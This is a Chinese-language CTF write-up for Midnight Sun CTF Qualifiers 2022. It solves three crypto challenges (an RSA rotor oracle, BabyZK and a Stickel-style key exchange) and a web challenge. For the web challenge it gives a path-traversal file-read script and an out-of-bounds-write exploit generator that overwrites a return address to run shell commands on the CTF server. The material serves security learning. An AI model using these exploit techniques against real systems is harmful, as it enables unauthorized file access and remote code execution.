Midnight Sun CTF Qualifiers 2022 WriteUps

在 XxTSJxX 中解了比較水的三題 Crypto 和半題 Web (?),一樣簡單的紀錄一下解法。

Crypto

Pelle's Rotor-Supported Arithmetic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/python3
from sys import stdin, stdout, exit
from flag import FLAG
from secrets import randbelow
from gmpy2 import next_prime

p = int(next_prime(randbelow(2**512)))
q = int(next_prime(randbelow(2**512)))
n = p * q
e = 65537

phi = (p - 1)*(q - 1)
d = int(pow(e, -1, phi))
d_len = len(str(d))
print(f'{d = }')

print("encrypted flag", pow(FLAG, 3331646268016923629, n))
stdout.flush()

ctr = 0
def oracle(c, i):
global ctr
if ctr > 10 * d_len // 9:
print("Come on, that was already way too generous...")
return
ctr += 1
rotor = lambda d, i: int(str(d)[i % d_len:] + str(d)[:i % d_len])
return int(pow(c, rotor(d, i), n))

banner = lambda: stdout.write("""
Pelle's Rotor Supported Arithmetic Oracle
1) Query the oracle with a ciphertext and rotation value.
2) Exit.
""")

banner()
stdout.flush()

choices = {
1: oracle,
2: exit
}

while True:
try:
choice = stdin.readline()
print("c:")
stdout.flush()
cipher = stdin.readline()
print("rot:")
stdout.flush()
rotation = stdin.readline()
print(choices.get(int(choice))(int(cipher), int(rotation)))
stdout.flush()
except Exception as e:
stdout.write("%s\n" % e)
stdout.flush()
exit()

簡單來說這題有個 RSA decrpytion oracle,是對應 的 private key,但 flag 使用的是不同的 加密的。

這題的 oracle 可以選擇 c 還有 d'=rotor(d,i)i,然後回傳

觀察一下可知 rotor(d,0)*10-rotor(d,1) 有些規律,統整一下有以下結論:

1
2
3
4
5
6
7
8
9
10
11
rotor = lambda d, i: int(str(d)[i % len(str(d)) :] + str(d)[: i % len(str(d))])


def f(d, i):
return rotor(d, i) * 10 - rotor(d, i + 1)


d = 1029384756
for i in range(len(str(d))):
x = int(str(d)[i])
assert f(d, i) == x * 10 ** len(str(d)) - x

所以 ,對於每個 digit 測試十個可能就能還原 ,然後分解回 後解 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
from Crypto.PublicKey import RSA
from Crypto.Util.number import long_to_bytes
from tqdm import tqdm

# context.log_level = 'debug'

# io = process(["python", "pelles_rotor_supported_arithmetic.py"])
io = remote("pelle-01.hfsc.tf", 4591)
io.recvuntil(b"encrypted flag ")
flagct = int(io.recvlineS())
io.recvuntil(b"Pelle's Rotor Supported Arithmetic Oracle")


def oracle(c, rot):
io.sendline(b"1")
io.sendlineafter(b"c:\n", str(c).encode())
io.sendlineafter(b"rot:\n", str(rot).encode())
return int(io.recvlineS())


d_len = 310 # guessed upper bound
n = oracle(-1, 0) + 1
print(n)
c = 48763
ds = [oracle(c, i) for i in tqdm(range(d_len + 1))]
while ds[0] != ds[d_len]:
d_len -= 1
print(d_len)


def recover(c_d0, c_d1):
k = pow(c_d0, 10, n) * pow(c_d1, -1, n) % n
for i in range(0, 10):
dd = i * (10 ** d_len) - i
if pow(c, dd, n) == k:
return i


digits = ["?"] * d_len
for i in range(d_len):
digits[i] = str(recover(ds[i], ds[i + 1]))
d = int("".join(digits))
key = RSA.construct([n, 65537, d])
df = pow(3331646268016923629, -1, (key.p - 1) * (key.q - 1))
m = pow(flagct, df, n)
print(long_to_bytes(m))
# midnight{twist_and_turn}

BabyZK

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/python3

from sys import stdin, stdout, exit
from secrets import randbelow
from gmpy2 import next_prime

from flag import FLAG


class BabyZK:

def __init__(self, degree, nbits):
self.p = self.__safeprime(nbits)
self.degree = degree
self.m = [randbelow(self.p-1) for i in range(self.degree)]
self.g = 2 + randbelow(self.p-3)
self.ctr = 0

def __safeprime(self, nbits):
stdout.write("Generating safeprime...")
p = -1
while True:
q = next_prime(randbelow(2 * 2**nbits))
p = 2*q + 1
if p.is_prime():
break
return p

def __eval(self, x: int) -> int:
y = 0
for a in self.m:
y += y * x + a
return y % (self.p-1)

def prover(self, x: int) -> int:
if self.ctr > self.degree + 1:
raise Exception("Sorry, you are out of queries...")
self.ctr += 1
return int(pow(self.g, self.__eval(x), self.p))

def verify(self, x: int, u: int):
if not u < self.p or u < 0:
raise Exception("Oof, this is not mod p...")
if int(pow(self.g, self.__eval(x), self.p)) != u:
raise Exception("No can do...")


bzk = BabyZK(15, 1024)

def prove():
stdout.write("> ")
stdout.flush()
challenge = int(stdin.readline())
stdout.write("%d\n" % bzk.prover(challenge))
stdout.flush()

def verify():
for i in range(100):
challenge = randbelow(bzk.p)
stdout.write("%d\n" % challenge)
stdout.flush()
response = int(stdin.readline())
bzk.verify(challenge, response)
stdout.write("%s\n" % FLAG)
stdout.flush()

banner = lambda: stdout.write("""
1) Query the prover oracle.
2) Prove to verifier that you know the secret.
3) Exit.
""")

choices = {
1: prove,
2: verify,
3: exit
}

banner()
stdout.flush()

while True:
try:
choice = stdin.readline()
choices.get(int(choice))()
except Exception as e:
stdout.write("%s\n" % e)
stdout.flush()
exit()

這題有個 oracle 可以計算 的值,其中 是個 次多項式,也未知。目標是要在 次 oracle 能對任何的 求出 的值。

假設拿 對 oracle 取得了 。顯然有:

把指數部分寫成矩陣如下:

假設 已知的情況下對他 challenge 給的任意 都能解 ,然後就有 。 所以剩下的目標就是還原

記得這題 oracle 的查詢次數是 ,剩下的兩次就能用和前面一樣的方法弄出兩個在 下相等的等式,然後 gcd 回 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from sage.matrix.special import vandermonde
from pwn import process, remote
from tqdm import tqdm

# io = process(["python", "babyzk.py"])
io = remote("babyzk-01.hfsc.tf", 4590)
io.recvuntil(b"3) Exit.\n")


def prove(x):
io.sendline(b"1")
io.sendlineafter(b"> ", str(x).encode())
return ZZ(io.recvlineS())


deg = 15
xs = list(range(deg + 2))
xs[-1] = -1 # prevent sol from being too big
proves = [prove(i) for i in xs]
M = vandermonde(xs[:deg])
sol1 = M.solve_left(vector([xs[-2] ^ i for i in range(deg)])).change_ring(ZZ)
print(sol1)
lhs1 = product([a ^ b for a, b in zip(proves[:deg], sol1)]) # rational
rhs1 = proves[-2]

sol2 = M.solve_left(vector([xs[-1] ^ i for i in range(deg)])).change_ring(ZZ)
print(sol2)
lhs2 = product([a ^ b for a, b in zip(proves[:deg], sol2)]) # rational
rhs2 = proves[-1]
# lhs = rhs (mod p)
p = gcd(lhs1.numer() - lhs1.denom() * rhs1, lhs2.numer() - lhs2.denom() * rhs2)
print(f"{p = }")

M = M.change_ring(Zmod(p - 1))


def fake_proof(x):
sol = M.solve_left(vector([x ^ i for i in range(deg)])).change_ring(ZZ)
return product([power_mod(a, b, p) for a, b in zip(proves[:deg], sol)]) % p


io.sendline(b"2")
for _ in tqdm(range(100)):
r = ZZ(io.recvlineS())
io.sendline(str(fake_proof(r)).encode())
io.interactive()
# midnight{n0t_h4rd_3ven_w1th0ut_modulu5}

kompot_512

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
'''
2 bag of fruit, mixed, dried
1 bag prunes
2 litre of water
1 spoon of clove
1/2 lemon

'''

p = random_prime(2^512)
R.<x> = PolynomialRing(GF(p))

def F(f: R, k: Integer) -> R:
g = x
while k > 0:
if k % 2 == 1:
g = f(g)
k = k // 2
f = f(f)
return g

f = (1*x+2)/(3*x+4)
g = (2*x+1)/(13*x+37)

x0, x1 = randint(0, 2^128), randint(0, 2^128)
y0, y1 = randint(0, 2^128), randint(0, 2^128)

A = F(f, x0)(F(g, x1))
B = F(f, y0)(F(g, y1))
C = F(f, x0 + y0)(F(g, x1 + y1))

with open("output.txt", "w") as f:
f.write("p = %s\n" % p)
f.write("A = %s\n" % A)
f.write("B = %s\n" % B)

print("My kompot is ready: midnight{%d}" % (C(0)))

這題的 F(f, k) 是用快速冪來計算 Iterated function 的,即

題目本身就是選兩個公開函數 下的某個類似 diffie hellman 的 key exchange,目標是要只從 public key 求 shared secret。

這題兩邊的 public key 分別是 ,而 shared secret 是

我的做法是先算出一個 的 fixed point ,即 。所以

另外可以觀察出 必定為以下的格式:

其中 是一個對於 都不動的常數,而 有關。所以將 帶入就可解出 ,由此得到了

然後因為有理函數可逆,計算 。然後 後算 就有 flag 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
p = 4225693342127109694461474664875234388636946955456557547956774428518217802668660259782406877400331189882749889992278565317470800599051030042911227853036773
R.<x> = PolynomialRing(GF(p))


def F(f: R, k: Integer) -> R:
g = x
while k > 0:
if k % 2 == 1:
g = f(g)
k = k // 2
f = f(f)
return g


f = (1 * x + 2) / (3 * x + 4)
g = (2 * x + 1) / (13 * x + 37)

gfixed = [r for r, _ in ((2 * x + 1) - x * (13 * x + 37)).roots()]
assert all(g(r) == r for r in gfixed)

r = gfixed[0]

# F(f, x0) = (a*x+b)/(x+(a+1)) where b is known constant (by observation)
# A(r)=F(f, x0)(r)=(a*r+b)/(r+(a+1))

A = (
1862315654158688869445729098619544799767914409222262298343789666937748284078116837226153354276423115494199511730581944141272923224308137441803678328652676
* x
+ 1886064375836034840142860936845130575100861943319047776615196816978379039225633008371217989839215828506878694852860682181613624391870390057743279109936146
) / (
x
+ 2018973312548033623066299353985536867301042832572544233315161976441530811456010904800834151744635603048866029559947352208513799007609932454902351226287612
)
B = (
2477394867395824278867886971831335517996362882807219284195631610174019275371358912732296452954721250133176647989002311297549405379103903792349676765146225
* x
+ 2040810311132675343235393925283389647607439331436941665496443753775265935891731269825908055031216551265890834776911988625202487191269201707297351486226785
) / (
x
+ 895438207293722465737529431198991226585025118671333535676494582773742283333650849930234578880250608882302630413898903347122190753133069996224669181368029
)

RR.<a> = GF(p)[]
b = f.numerator()[0]
a = (A(r) * (r + (a + 1)) - (a * r + b)).roots()[0][0]
fx0 = (a * x + b) / (x + (a + 1))


def rational_invertse(f):
a = f.numerator()[1]
b = f.numerator()[0]
c = f.denominator()[1]
d = f.denominator()[0]
return (b - d * x) / (c * x - a)


gx1 = rational_invertse(fx0)(A)
C = fx0(B(gx1))
print("My kompot is ready: midnight{%d}" % (C(0)))
# midnight{3376861921537964672541400365700467193751583514806849485754729332434511031717727819872760853068826617376545669091237756749178566789525020268534935958343010}

其他解法

後來看其他人的作法才知道這題的 可以簡單的化為矩陣:

然後 ,由此可以簡化很多的運算。

這部分的推導可以參考 y011d4 的 writeup

而這題的 key exchange 是 Stickel's key exchange,網路上已經有 Cryptanalysis of Stickel’s key exchange scheme 教你怎麼處理了。

這方法的概念是說攻擊者只要能找到 符合 就能破解這套系統了,此處的 是傳給對方的 public key,而 是已知參數,也就是

因為 ,所以 是 shared secret。

要解從系統中解出 也很簡單,把 化為 。假設都是 的矩陣的話一共有 的未知數 (),三條等式一共提供了 個已知資訊,用線代的方法解回去即可。

上面的解法還可以再稍微簡化點,就是只把 設為未知數,然後用 代換去解 。這樣有 的未知數和 個已知資訊,一樣能解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
p = 4225693342127109694461474664875234388636946955456557547956774428518217802668660259782406877400331189882749889992278565317470800599051030042911227853036773
R.<x> = PolynomialRing(GF(p))
A = (
1862315654158688869445729098619544799767914409222262298343789666937748284078116837226153354276423115494199511730581944141272923224308137441803678328652676
* x
+ 1886064375836034840142860936845130575100861943319047776615196816978379039225633008371217989839215828506878694852860682181613624391870390057743279109936146
) / (
x
+ 2018973312548033623066299353985536867301042832572544233315161976441530811456010904800834151744635603048866029559947352208513799007609932454902351226287612
)
B = (
2477394867395824278867886971831335517996362882807219284195631610174019275371358912732296452954721250133176647989002311297549405379103903792349676765146225
* x
+ 2040810311132675343235393925283389647607439331436941665496443753775265935891731269825908055031216551265890834776911988625202487191269201707297351486226785
) / (
x
+ 895438207293722465737529431198991226585025118671333535676494582773742283333650849930234578880250608882302630413898903347122190753133069996224669181368029
)


def F(f: R, k: Integer) -> R:
g = x
while k > 0:
if k % 2 == 1:
g = f(g)
k = k // 2
f = f(f)
return g


f = (1 * x + 2) / (3 * x + 4)
g = (2 * x + 1) / (13 * x + 37)

def fn2mat(f):
a = f.numerator()[1]
b = f.numerator()[0]
c = f.denominator()[1]
d = f.denominator()[0]
return matrix(GF(p), [
[a, b],
[c, d]
])

# find xa=ax, yb=by, u=xy
# simplify to x_inv*a=a*x_inv, yb=by, x_inv*u=y

a = fn2mat(f)
b = fn2mat(g)
u = fn2mat(A)
v = fn2mat(B)

P.<y00,y01,y10,y11> = GF(p)[]
y = matrix([
[y00, y01],
[y10, y11]
])
x_inv = y * ~u

def add_mat_eq(polys, lhs, rhs):
for i in range(lhs.nrows()):
for j in range(lhs.ncols()):
polys.append(lhs[i, j] - rhs[i, j])

polys = []
add_mat_eq(polys, y * b, b * y)
add_mat_eq(polys, x_inv * a, a * x_inv)

# alternative way to solve this system: P.ideal(polys).groebner_basis()
M, _ = Sequence(polys).coefficient_matrix()
print(M.change_ring(Zmod(107))) # overview of matrix
print(_) # variables of each column
# no constant term so only need to find the kernel
# many solutions so any one of them will work
y00, y01, y10, y11 = M.right_kernel().basis()[0]
y = matrix(GF(p), [
[y00, y01],
[y10, y11]
])
x_inv = y * ~u
x = ~x_inv
shared = x * v * y
c0 = shared[0, 1] / shared[1, 1]
print("My kompot is ready: midnight{%d}" % c0)

Web

Retro

這題給了個沒有 source code 的題目,前面超過一半都是 splitline 處理的。

題目的服務都是使用 CGI 寫的,而 /cgi-bin/showimg.cgi 的部分可以從 query string 拿 path ?test.gif,但要求只能是 .gif 結尾。測試後可知道他有長度限制所以會 truncate,因此在前面放置足夠的垃圾後就能任意讀檔。

1
2
3
4
5
6
7
8
import requests, sys
url = "http://retro-01.hfsc.tf:8080/cgi-bin/showimg.cgi?"


filename = sys.argv[1]
padding = "../" * ((102-len(filename))//3) + '/'*((102-len(filename))%3)

print(requests.get(url+padding+filename+'.gif').text.replace("\0","\n"))

By @splitline

然後讀檔後可以把全部的 /cgi-bin 中的檔案都載下來,可以發現到全部都是 ELF 檔。

在 IDA 打開 madlib.cgi 可以看到 main 函數如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // eax
int result; // eax
char *v5; // [esp+0h] [ebp-74h]
char s[100]; // [esp+4h] [ebp-70h] BYREF
unsigned int v7; // [esp+68h] [ebp-Ch]
int *v8; // [esp+6Ch] [ebp-8h]

v8 = &argc;
v7 = __readgsdword(0x14u);
alarm(5u);
puts("Content-type: text/html\n");
puts("<html><body background=\"/bg.jpg\">");
printf("<h1>Mad Lib generator</h1>");
v5 = getenv("QUERY_STRING");
if ( v5 && *v5 )
{
process(v5);
printf("<a href=\"/cgi-bin/madlib.cgi\">Go back</a>");
}
else
{
puts(
"<form><table border=0><tr><td><label for=\"adj\">Adjective</label></td><td><input type=\"text\" id=\"adj\" name=\""
"adj\" value=\"Old\"></td></tr><tr><td><label for=\"noun\">Noun</label></td><td><input type=\"text\" id=\"noun\" na"
"me=\"noun\" value=\"Farm\"></td></tr><tr><td><label for=\"animal\">Animal</label></td><td><input type=\"text\" id="
"\"animal\" name=\"animal\" value=\"Cow\"></td></tr><tr><td><label for=\"noise\">Noise</label></td><td><input type="
"\"text\" id=\"noise\" name=\"noise\" value=\"Moo\"></td></tr><tr><td></td><td><input type=submit></td></tr></table></form>");
}
if ( getenv("DEBUG") )
{
v3 = getenv("DEBUG");
snprintf(s, 0x64u, "echo \"[DBG] %s\" >> /opt/logfile", v3);
system(s);
puts("<!-- [DEBUG ACTIVE] -->");
}
result = v7 - __readgsdword(0x14u);
if ( result )
sub_19BB();
return result;
}

然後這個是 process 函數:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
unsigned int __cdecl process(char *a1)
{
char *v1; // eax
unsigned int result; // eax
char *stringp; // [esp+2Ch] [ebp-23Ch] BYREF
char v4; // [esp+3Bh] [ebp-22Dh]
char *s1; // [esp+3Ch] [ebp-22Ch]
char *s; // [esp+40h] [ebp-228h]
char *nptr; // [esp+44h] [ebp-224h]
int v8; // [esp+48h] [ebp-220h]
char dest[512]; // [esp+4Ch] [ebp-21Ch] BYREF
unsigned int v10; // [esp+24Ch] [ebp-1Ch]

stringp = a1;
v10 = __readgsdword(0x14u);
strcpy(dest, off_4004);
while ( 1 )
{
s1 = strsep(&stringp, "&");
if ( !s1 )
break;
if ( !strncmp(s1, "adj=", 4u) )
{
off_4008 = (char *)sub_1362(s1 + 4);
}
else if ( !strncmp(s1, "noun=", 5u) )
{
off_400C = (char *)sub_1362(s1 + 5);
}
else if ( !strncmp(s1, "animal=", 7u) )
{
off_4010 = (char *)sub_1362(s1 + 7);
}
else if ( !strncmp(s1, "noise=", 6u) )
{
off_4014 = (char *)sub_1362(s1 + 6);
}
else if ( !strncmp(s1, "fix", 3u) )
{
s = s1 + 3;
nptr = strchr(s1 + 3, 61);
if ( nptr )
{
v1 = nptr++;
*v1 = 0;
s = (char *)sub_1362(s);
nptr = (char *)sub_1362(nptr);
v8 = atoi(s);
v4 = atoi(nptr);
dest[v8] = v4;
}
}
}
printf(
dest,
off_4008,
off_400C,
off_400C,
off_4010,
off_4014,
off_4014,
off_4014,
off_4014,
off_4014,
off_4014,
off_4014,
off_4014,
off_4008,
off_400C);
result = v10 - __readgsdword(0x14u);
if ( result )
sub_19BB();
return result;
}

可以知道 query string 裡面放 ?fix87=63 的話它就會直接 OOB write: dest[v8] = v4,後面也有 format string 可以打。不過這題 binary 保護全開,我想到的方法只有 partial overwrite return address 的 LSB,讓他跑回 main 函數的 DEBUG branch 裡面。

那裡面有一段的 asm 如下:

1
2
3
lea     eax, [ebp+s]
push eax ; command
call _system

所以讓他 return 到 lea 那邊之後用 gdb 算 eax 的值一樣 OOB 寫想要執行的 command 進去就能 RCE。不過不知為何我都看不到回顯,所以只能用 ls > /tmp/peko 之類的指令之後再用任意讀檔去讀內容出來。

1
2
3
4
5
6
7
8
9
10
11
12
buf = 0xffb901fc
ret = 0xffb9041c
cmd_start = 0xffb90438

writes = []
writes.append((ret-buf, 0x81)) # partial overwrite to system
for i, v in enumerate(b'/showflag > /tmp/peko\0'):
writes.append((cmd_start-buf+i, v))
qs = '&'.join([f'fix{i}={v}' for i, v in writes])
print(qs)

# midnight{ebb1d7808ec033c2fc0cba0829863b66}